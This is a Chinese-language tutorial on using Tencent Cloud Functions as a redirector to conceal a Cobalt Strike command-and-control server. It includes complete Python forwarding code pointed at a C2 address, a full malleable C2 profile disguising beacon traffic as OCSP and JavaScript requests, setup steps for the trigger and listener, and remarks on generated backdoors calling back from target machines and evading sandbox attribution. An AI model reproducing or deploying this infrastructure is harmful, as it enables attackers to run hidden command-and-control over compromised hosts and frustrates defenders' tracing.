介绍
这个技术最先是在今年的3月份国外提出的,他们利用 azure 对 C2 进行隐藏,国内也有相对应的 云函数厂商,于是我们就尝试使用云函数对我们的 C2 服务器进行隐藏。
这个技术的核心原理是利用云函数将我们的请求进行转发(和一些使用第三方应用进行转发是一样的);C2客户端发出的流量经过 云函数的转发,到达我们的C2服务器,达到隐藏的效果,并且因为云函数的服务器是自带 CDN
的,所以为我们的信息传递提供了加速的效果,但是转发的途中有损耗,不能像直接连接那样快,但是足够让我们感受到快乐了。(引自狼组团队文章)
参考链接:
https://mp.weixin.qq.com/s/gfBE-HaUCgQw8L0QByqTDA (来源于WgpSec狼组安全团队)
https://mp.weixin.qq.com/s/pqa-ce1Rdc0jKbdPUtsxyg
https://blog.csdn.net/god_zzZ/article/details/109057803 (这篇没参考,网上搜到的,但是写的很好,留存)
具体实现
文章中提到,要使用cs4.1版本,4.0不行,我平时用的就是4.1,所以没有测试其他版本是否有问题。
如果要实现,建议先看下狼组安全的文章,里面有一些原理的部分,对实验操作的理解有帮助。
文章最先演示了一遍云函数的调用,我这边就不演示了,只写实现的部分。
创建云函数
以2021年4月20日为例,因为我发现腾讯云平台也会进行页面的更新,页面的内容会有变化。
登录腾讯云平台,访问云函数功能链接:https://console.cloud.tencent.com/scf/list?rid=8&ns=default
。点击新建
,创建方式选择自定义创建
。函数名称可以自定义进行设置,主要是函数代码部分,将下面内容复制到函数代码中:
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
C2的值填写c2服务器地址就可以了,后面也不再需要增加:80
或:443
,点击完成后,云端会部署函数。
创建完成。
选择第二个功能:触发管理
,创建触发器。触发版本选择$LATEST
,触发版本选择API网关触发
,其余的就不需要动了,点击提交
。
触发器创建完成,点击API服务名
,进入到管理API
页面,在刚新建的API上,点击编辑
。在编辑API
页面中,将路径改为/
,点击立即完成
-发布服务
即可。
服务端新增profile文件
将下面的文件内容复制下来,保存到x.profile
文件中,注意后缀。放到team server服务端根目录下,启动时,加载该配置文件。
set sample_name "kris_abao";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/getit";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/postit";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
设置监听器
在管理API
页面中,点击我们刚创建的API
id,进入到api的基本信息页面,我们要使用的是默认访问地址,用在cobalt strike创建监听器时使用。创建监听器时,我选择的是http,然后在HTTP Hosts
和HTTP Host(stager)
填入之前复制的地址。(这里是否选择http协议,根据你函数里的类型来选择)
监听器创建完成后,生成后门程序,在靶机运行既可上线。
云查杀
使用微步云沙箱对生成的后门文件进行查杀,只能解析出腾讯云函数地址。
有意思的事,用微步云沙箱跑完后,沙箱竟然上线了,哈哈,第一次碰到这个情况。
后记
在使用时发现一些坑点:
- 不能100%上线,会存在上线不了的情况,上线时调用云函数会有失败的情况。也有可能是我这边的问题,大家可以自己试下。
- 使用win7和win10作为靶机时,上线成功率较高,但是2012一直没有上线成功。
- 靶机上线后,源IP(内网IP不会变)会一只在变但是并不影响使用,命令可以照常执行。文章中给出的获取当前主机的方式是使用curl命令。
shell curl ident.me
,前提是靶机得有类似的工具。
总结
这种方式也还行,命令执行的速度也还可以,不慢。这也是隐匿方式的一种吧。